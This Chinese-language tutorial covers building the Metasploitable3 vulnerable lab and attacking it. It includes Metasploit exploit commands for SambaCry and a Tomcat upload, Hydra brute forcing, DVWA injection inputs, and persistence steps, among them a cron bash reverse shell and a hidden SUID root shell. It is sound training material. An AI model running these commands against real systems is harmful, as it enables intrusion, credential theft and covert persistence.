Metasploitable3靶机搭建与渗透测试实战指南

Metasploitable3靶机搭建与渗透测试实战指南

1. 项目概述与核心价值

如果你在网络安全领域摸爬滚打了一段时间,尤其是对渗透测试和漏洞研究感兴趣,那么“Metasploitable”这个名字你一定不陌生。它不是一个需要你去攻击的真实目标,而是一个专门为安全学习、培训和工具测试而构建的、预置了大量已知漏洞的“活靶机”。Metasploitable3,作为这个系列的最新迭代,相较于前代有了质的飞跃。它不再是一个简单的虚拟机镜像,而是一个由Packer和Vagrant驱动的自动化构建项目,能够动态生成包含Windows和Linux两个系统的靶机环境。这意味着什么?意味着你获得了一个高度可控、可复现、且包含从古老到相对较新漏洞的综合性实验平台。

对于初学者,Metasploitable3是绝佳的“从理论到实践”的桥梁。你看完了OWASP Top 10,知道了SQL注入、命令执行的原理,但纸上谈兵终觉浅。在Metasploitable3上,你可以亲手利用这些漏洞,直观地看到一次成功的攻击是如何从信息收集、漏洞扫描、利用到最终获取权限的完整链条。对于有一定经验的安全从业者或红队成员,它则是一个稳定的“练兵场”和“工具测试床”。当你学习了一个新的漏洞利用模块,或者编写了一个自己的攻击脚本,需要一个安全、合规的环境进行验证时,Metasploitable3就是那个不会报警、不会造成真实损失的完美沙盒。

这个项目的核心价值在于其“故意的不安全”。开发者精心挑选并部署了数十个存在漏洞的服务和应用,涵盖了Web应用漏洞(如DVWA、Mutillidae II)、服务漏洞(如Samba、Apache Tomcat)、配置错误以及弱凭证等经典安全问题。通过攻击它,你不仅能练习使用Metasploit、Nmap、Burp Suite等工具,更能深刻理解漏洞的成因、利用条件以及修复方法,从而在防御端构建更坚固的思维。接下来,我将带你从零开始,完成Metasploitable3的构建、启动到初步探索的全过程,并分享一些实战中的深度技巧和避坑指南。

2. 环境准备与项目构建详解

在开始“攻击”之前,我们首先得把靶场搭建起来。Metasploitable3的构建方式是其一大特色,理解这个过程本身也是对现代运维(DevOps)和安全基础设施即代码(IaC)理念的一次实践。

2.1 基础依赖安装

Metasploitable3的构建依赖于三个核心工具:VirtualBox(或VMware)、Vagrant和Packer。它们分工明确:

  • VirtualBox:提供虚拟化平台,用于运行最终生成的虚拟机。它是免费的,兼容性好。你也可以使用VMware,但需要安装Vagrant的VMware插件并购买许可证。
  • Vagrant:用于定义和管理虚拟机生命周期。通过一个名为Vagrantfile的配置文件,它可以一键完成虚拟机的创建、启动、暂停、销毁等操作,极大地简化了环境管理。
  • Packer:这是构建过程的关键。Packer读取项目中的构建模板(如packer/templates/下的json文件),自动化地下载原始操作系统ISO,安装系统,打补丁,部署漏洞服务,并最终输出一个Vagrant可用的“盒子”(Box)文件。简单说,Packer负责“制作”靶机镜像,Vagrant负责“运行”它。

我的建议是,在开始前确保你的宿主机(比如你的物理笔记本电脑)满足以下条件:

  1. 硬件:至少8GB RAM(建议16GB),因为你需要同时运行两个虚拟机(Win2k8和Ubuntu)。CPU支持虚拟化(Intel VT-x / AMD-V),并在BIOS中已启用。至少50GB的可用磁盘空间。
  2. 软件:安装最新版本的VirtualBox、Vagrant和Packer。务必通过官方渠道下载,避免版本不兼容问题。安装完成后,在命令行中输入vagrant --versionpacker --version确认安装成功。

注意:构建过程需要从互联网下载操作系统ISO和大量软件包,请确保网络通畅。整个过程耗时较长,取决于你的网速和机器性能,可能需要1-3个小时,请保持耐心。

2.2 获取与构建Metasploitable3

官方源代码托管在GitHub上。我们通过Git来获取它,这是最直接的方式。

# 克隆 Metasploitable3 仓库到本地 git clone https://github.com/rapid7/metasploitable3.git cd metasploitable3

进入目录后,你会看到主要的构建脚本build.sh(Linux/macOS) 或build.ps1(Windows PowerShell)。脚本内部逻辑就是调用Packer,依次构建Windows和Linux的靶机镜像。

对于Linux/macOS用户:

# 直接运行构建脚本 ./build.sh

对于Windows用户(以管理员身份打开PowerShell):

# 可能需要先修改执行策略 Set-ExecutionPolicy Unrestricted -Scope CurrentUser # 运行构建脚本 .\build.ps1

构建脚本会开始一个漫长的自动化过程。你会看到Packer在控制台输出大量的日志,包括下载ISO、启动临时虚拟机、执行一系列配置脚本等。这个阶段最容易出问题的地方往往是网络超时或依赖下载失败。如果构建中途失败,仔细阅读错误信息。常见问题包括:

  • 下载失败:可能是网络问题或源地址不可用。可以尝试手动下载所需的ISO文件(链接通常在Packer模板中指定),并放置到Packer的缓存目录,或者使用代理。
  • 内存不足:在构建过程中,Packer会启动临时虚拟机,如果宿主机内存不足,可能导致构建失败。确保没有其他大型程序占用内存。
  • 防病毒软件干扰:在Windows宿主机上,防病毒软件可能会误杀或阻止一些脚本运行,暂时禁用或添加排除项可能解决问题。

构建成功后,你会在项目根目录下看到新生成的.box文件,例如metasploitable3-ubuntu1404.boxmetasploitable3-win2k8.box。同时,Vagrant会自动将这些box添加到本地仓库中(vagrant box list可以查看)。

3. 靶机启动与网络配置实战

构建完成只是拥有了“弹药”,接下来我们要把靶机“部署”到战场上。

3.1 启动漏洞靶机

项目目录下已经提供了配置好的Vagrantfile。这个文件定义了要启动的虚拟机(两个)、它们的硬件配置(内存、CPU)、网络设置等。启动命令非常简单:

# 在项目根目录下执行 vagrant up

这个命令会读取Vagrantfile,找到对应的box,创建并启动两台虚拟机:一台Windows Server 2008(主机名通常为win2k8),一台Ubuntu 14.04(主机名通常为ubuntu)。首次运行vagrant up时,Vagrant会进行虚拟机的初始化导入和启动,可能需要几分钟时间。

启动完成后,你可以使用vagrant status查看虚拟机状态,应该显示为running。如果想登录到虚拟机内部看看,可以使用:

# 登录到 Ubuntu 靶机 vagrant ssh ubuntu # 登录到 Windows 靶机(需要启用WinRM,Vagrant已配置好) vagrant winrm win2k8

3.2 关键网络配置解析

网络配置是让攻击机(通常是你的宿主机或Kali Linux虚拟机)能够访问靶机的关键。Metasploitable3的Vagrantfile默认配置了“公有网络”(public_network)和“私有网络”(private_network)。

  • 私有网络(Host-Only):这是最常用、最安全的模式。Vagrant会为虚拟机创建一个虚拟网卡,并与宿主机共享一个私有IP网段(例如192.168.56.0/24)。只有宿主机可以访问虚拟机,虚拟机之间也可以互相访问,但虚拟机无法直接访问外网。这完美模拟了一个内部隔离的测试环境。

    • 在VirtualBox全局设置中,你可以找到名为vboxnet0的Host-Only网络适配器,查看其分配的IP段(如192.168.56.1)。启动后,Ubuntu和Win2k8的IP地址通常会是这个网段内的地址,例如192.168.56.10192.168.56.11。你可以在宿主机上直接ping这些IP来测试连通性。
  • 公有网络(桥接模式):虚拟机会通过宿主机的一块物理网卡桥接到你的本地局域网,获取一个和宿主机同网段的IP地址(如192.168.1.xxx)。这样,同一局域网内的其他设备也能访问到这台靶机。除非你需要在多台物理机器间进行协同测试,否则不建议使用此模式,因为它会将不安全的靶机暴露在你的家庭或公司网络中,存在风险。

实操心得:我强烈建议在开始渗透测试前,先确认靶机的IP地址。除了查看VirtualBox的界面或Vagrant文件,更直接的方法是在启动后,在宿主机上使用arp-scannmap扫描Host-Only网段。

# 假设你的Host-Only网段是 192.168.56.0/24 nmap -sn 192.168.56.0/24

扫描结果中,除了你宿主机自己的虚拟网卡IP(如192.168.56.1),另外两个活跃的IP很可能就是你的Ubuntu和Win2k8靶机。记下它们,这就是你后续所有攻击的“目标地址”。

4. 漏洞探索与利用实战指南

靶机就绪,网络通畅,真正的“游戏”开始了。我们的目标是发现并利用这些故意存在的漏洞。这个过程遵循标准的渗透测试流程:信息收集、漏洞扫描、漏洞利用、权限维持。

4.1 信息收集与端口扫描

在发动任何攻击之前,充分的侦察是成功的一半。我们需要知道靶机上开放了哪些“门”(端口),运行着什么“服务”(Service)。

工具首选:NmapNmap是网络发现的瑞士军刀。我们对两个靶机IP进行全面的端口扫描。

# 对 Ubuntu 靶机进行快速扫描(-F,扫描常见100个端口) nmap -sV -O -F 192.168.56.10 # 对 Windows 靶机进行全端口扫描(-p-,扫描1-65535所有端口) nmap -sV -O -p- 192.168.56.11
  • -sV:探测服务版本,这至关重要,因为很多漏洞针对特定版本。
  • -O:尝试识别操作系统。
  • -F/-p-:指定扫描的端口范围。

扫描结果分析(示例):以Ubuntu靶机为例,你可能会看到如下关键开放端口:

  • 22/tcp:SSH服务。可能存在弱口令或已知漏洞。
  • 80/tcp:HTTP服务。运行着Apache,可能包含多个漏洞Web应用(如DVWA, Mutillidae)。
  • 443/tcp:HTTPS服务。
  • 445/tcp:Samba服务(SMB)。永恒之蓝(MS17-010)等高危漏洞的常见入口。
  • 3306/tcp:MySQL数据库。可能存在空口令或弱口令。
  • 8080/tcp,8081/tcp:可能运行着Tomcat或Jenkins等服务,常有配置漏洞。

Windows靶机上,你可能会看到典型的Windows服务端口,如135、139、445、3389(RDP)等,以及一些Web服务端口。

4.2 经典漏洞利用实例解析

拿到端口和服务列表后,我们就可以有针对性地进行攻击了。这里以两个经典漏洞为例,展示利用过程。

实例一:利用Samba漏洞(CVE-2017-7494)获取Shell

在Ubuntu靶机上,Samba服务版本可能较旧,存在CVE-2017-7494(又名SambaCry)漏洞,允许远程代码执行。

  1. 搜索与加载模块:启动Metasploit框架(msfconsole)。
    msf6 > search samba 7494 msf6 > use exploit/linux/samba/is_known_pipename
  2. 配置参数
    msf6 exploit(linux/samba/is_known_pipename) > set RHOSTS 192.168.56.10 msf6 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER /home/share # 根据实际情况调整共享目录 msf6 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/samba/is_known_pipename) > set LHOST 192.168.56.1 # 你的攻击机(宿主机)在Host-Only网络中的IP msf6 exploit(linux/samba/is_known_pipename) > set LPORT 4444
  3. 执行攻击
    msf6 exploit(linux/samba/is_known_pipename) > exploit
    如果成功,你将获得一个Meterpreter会话,拥有该Samba服务进程的权限。

实例二:攻击Tomcat Manager弱口令部署后门

在Ubuntu的8080端口可能运行着Apache Tomcat。Tomcat Manager应用如果使用弱口令(如tomcat:tomcat),攻击者可以直接上传一个恶意的WAR包来获取Webshell。

  1. 使用Hydra进行暴力破解(如果不知道口令):
    hydra -l tomcat -P /usr/share/wordlists/rockyou.txt 192.168.56.10 http-post-form "/manager/html:j_username=^USER^&j_password=^PASS^&from=%2Fmanager%2Fhtml&Login=Login:Invalid credentials"
  2. 使用Metasploit自动化攻击
    msf6 > use auxiliary/scanner/http/tomcat_mgr_login msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.56.10 msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080 msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
    如果发现有效凭证,可以进一步使用exploit/multi/http/tomcat_mgr_upload模块上传后门。

4.3 Web应用漏洞挖掘(以DVWA为例)

Metasploitable3内置了Damn Vulnerable Web Application (DVWA),这是一个集成了多种Web漏洞的练习平台,访问地址通常是http://192.168.56.10/dvwa

  1. 登录:默认凭证是admin/password
  2. 设置安全等级:在DVWA Security页面,将安全级别设为Low,以便于练习。
  3. 实战练习
    • 命令注入(Command Injection):在相应页面,输入127.0.0.1; whoami,可以看到命令执行结果,拼接了www-data用户信息。
    • SQL注入(SQL Injection):在用户ID输入框尝试1' or '1'='1,可能会列出所有用户信息。
    • 文件包含(File Inclusion):尝试包含/etc/passwd文件。关键点:不要只满足于利用成功。打开Burp Suite,拦截这些请求,观察请求参数是如何被构造的,服务器响应是什么。尝试将Low级别的利用方式,在Medium和High安全级别下进行绕过,这能极大提升你的实战能力。

5. 深度渗透与后渗透技巧

获取初始立足点(一个Shell)只是开始。在真实的渗透测试中,我们需要提升权限、横向移动、收集信息、维持访问。

5.1 权限提升(Privilege Escalation)

在Linux靶机上,你初始获得的可能是www-datanobody等低权限用户。

  1. 信息收集:首先运行一些枚举脚本,如LinEnum.shlinuxprivchecker.py,查找系统配置错误、SUID/GUID文件、计划任务、可写路径等。
    # 在获取的Shell中,上传或直接下载枚举脚本 wget http://192.168.56.1/LinEnum.sh # 假设你在攻击机(192.168.56.1)上启动了HTTP服务 chmod +x LinEnum.sh ./LinEnum.sh
  2. 常见提权路径
    • 内核漏洞:使用uname -a查看内核版本,搜索对应的本地提权EXP。Metasploitable3的Ubuntu 14.04内核可能较旧,存在已知漏洞。
    • SUID文件:查找具有SUID位的文件find / -perm -u=s -type f 2>/dev/null。如果发现/bin/bash或某些自定义程序有SUID位,并且属于root,可能直接可以提权。
    • 环境变量劫持:如果某个以root权限运行的SUID程序调用了相对路径的命令(如system("ls")),我们可以通过控制PATH环境变量,让这个ls指向我们编写的恶意程序。
    • 计划任务:检查/etc/crontab/var/spool/cron/crontabs/,看是否有以root身份运行的计划任务,并且其脚本或路径我们可写。

在Windows靶机上,提权思路类似,关注系统补丁情况(systeminfo)、服务权限(accesschk.exe)、AlwaysInstallElevated注册表项、弱权限的服务路径等。

5.2 横向移动与信息收集

在拿下第一台主机后,我们需要探索内网。

  1. 网络发现:在已控的Ubuntu主机上,使用ifconfig查看其IP,并使用nmap或简单的ping扫描同一网段的其他主机(192.168.56.0/24)。
  2. 凭证窃取
    • Linux:查看/etc/passwd/etc/shadow(需要root),尝试破解哈希。检查用户主目录下的.bash_history.ssh/目录。
    • Windows:使用Mimikatz(通过Meterpreter的kiwiload kiwi命令)尝试从内存中提取明文密码或哈希。检查注册表中的自动登录凭证。
  3. 利用信任关系:如果发现主机之间配置了SSH密钥信任,可以直接免密登录。在Linux上,查看~/.ssh/authorized_keys~/.ssh/id_rsa

5.3 后门与持久化

为了在靶机重启或被发现后还能维持访问,需要部署后门。

  1. Linux持久化
    • SSH密钥后门:将你的公钥添加到目标用户的~/.ssh/authorized_keys文件中。
    • Cron后门:添加一个计划任务,定期反向连接你的监听端口。
      (crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/5555 0>&1'") | crontab -
    • SUID Shell:复制一个bash并设置SUID位(需要root权限)。
      cp /bin/bash /tmp/.rootshell chmod u+s /tmp/.rootshell # 之后可以通过 `/tmp/.rootshell -p` 来获取一个root shell
  2. Windows持久化
    • 注册表启动项:添加一个注册表项在HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    • 计划任务:创建计划任务执行后门程序。
    • 服务后门:安装一个新的服务,指向你的后门可执行文件。

重要提示:以上所有后门技术仅限在像Metasploitable3这样的授权测试环境中学习和练习。在未经授权的系统上使用是非法行为。

6. 常见问题、故障排查与学习建议

在搭建和使用Metasploitable3的过程中,你肯定会遇到各种问题。这里汇总了一些典型问题及其解决方案。

6.1 构建与启动故障排查

问题现象可能原因解决方案
vagrant up失败,提示“Box not found”Vagrant未找到对应的box文件。确认build.sh脚本成功运行并生成了.box文件。可以手动添加:vagrant box add metasploitable3-ubuntu1404 ./metasploitable3-ubuntu1404.box
虚拟机启动后无法ping通网络配置错误,防火墙阻止。1. 检查VirtualBox Host-Only网络适配器(vboxnet0)是否已启用并配置了IP(如192.168.56.1)。
2. 在虚拟机设置中,确认网卡1或2已连接到“Host-Only Adapter”并选择了正确的接口(vboxnet0)。
3. 在靶机内检查IP配置(ip addrifconfig)。
构建过程卡在“Downloading”或超时网络连接问题,源服务器慢或不可达。1. 尝试使用网络代理。
2. 手动下载Packer模板中指定的ISO文件,放入packer_cache目录。
3. 查找社区是否有已构建好的box文件直接下载使用(注意来源安全)。
内存不足导致构建失败宿主机物理内存不足。关闭不必要的应用程序,增加VirtualBox分配给构建虚拟机的内存(修改Packer模板),或者增加宿主机虚拟内存。

6.2 渗透测试中的常见问题

  • Metasploit模块执行失败:首先检查所有必填参数(RHOSTS,LHOST,LPORT等)是否已正确设置。使用show options仔细核对。其次,检查payload是否与目标系统架构兼容(x86 vs x64)。查看模块的info,了解其适用的具体服务版本和漏洞条件。
  • 获得的Shell不稳定或立即断开:这通常是网络不稳定或payload类型选择不当造成的。尝试使用更稳定的payload,如meterpreter_reverse_httpmeterpreter_reverse_https,它们通过HTTP/S通信,穿透性更好。也可以尝试使用exploit/multi/handler作为独立监听器,然后使用其他方式(如Web上传)执行一个稳定的反向连接payload。
  • 漏洞扫描器(如Nessus, OpenVAS)误报:在Metasploitable3这样的老旧系统上,扫描器可能会报告大量中高危漏洞。这很正常。你需要结合手动验证,判断哪些漏洞是真实可利用的。不要盲目相信扫描结果。

6.3 高效学习路径与资源建议

Metasploitable3是一个宝库,但漫无目的地攻击效率不高。我建议按照以下路径进行系统性学习:

  1. 枚举与侦察:使用Nmap、Nikto、Dirb/Gobuster对两个靶机进行彻底扫描,建立完整的资产清单和端口服务清单。
  2. 按服务类型攻坚
    • Web漏洞:专注于80/443/8080/8081端口。逐个访问Web应用(DVWA, Mutillidae, WordPress等),使用Burp Suite手动测试OWASP Top 10漏洞。
    • 服务漏洞:针对SMB(445)、SSH(22)、RDP(3389)、MySQL(3306)、PostgreSQL(5432)等服务,使用Metasploit或独立EXP进行攻击尝试。
    • 配置与弱口令:尝试使用Hydra、Medusa等工具对SSH、FTP、Tomcat Manager等进行弱口令爆破。
  3. 从外到内,权限提升:每获取一个低权限Shell,立即尝试本地信息枚举和提权。练习使用Linux和Windows的本地枚举脚本。
  4. 横向移动:在一台主机站稳脚跟后,尝试利用收集到的凭证或漏洞,攻击同一网络内的另一台主机。
  5. 模拟完整攻击链:设计一个场景,例如“从外网Web漏洞获取Webshell,提权至root,窃取凭证,横向移动到Windows域控制器”。

推荐辅助资源

  • 漏洞数据库:Exploit-DB (https://www.exploit-db.com/), NVD (https://nvd.nist.gov/)。
  • 学习平台:Hack The Box, TryHackMe的某些基础靶场与Metasploitable3风格类似,但提供了更结构化的引导。
  • 官方文档:仔细阅读Metasploitable3的GitHub Wiki,里面列出了所有预置的漏洞列表,这是你的“攻击地图”。

最后,务必在独立的虚拟化环境或物理隔离的网络中运行Metasploitable3。永远不要将其连接到生产网络或互联网。它的每一个服务都是一个敞开的门户,在真实世界中会瞬间被自动化攻击脚本攻陷。祝你在这个安全的沙盒中,练就一身真正的网络安全实战本领。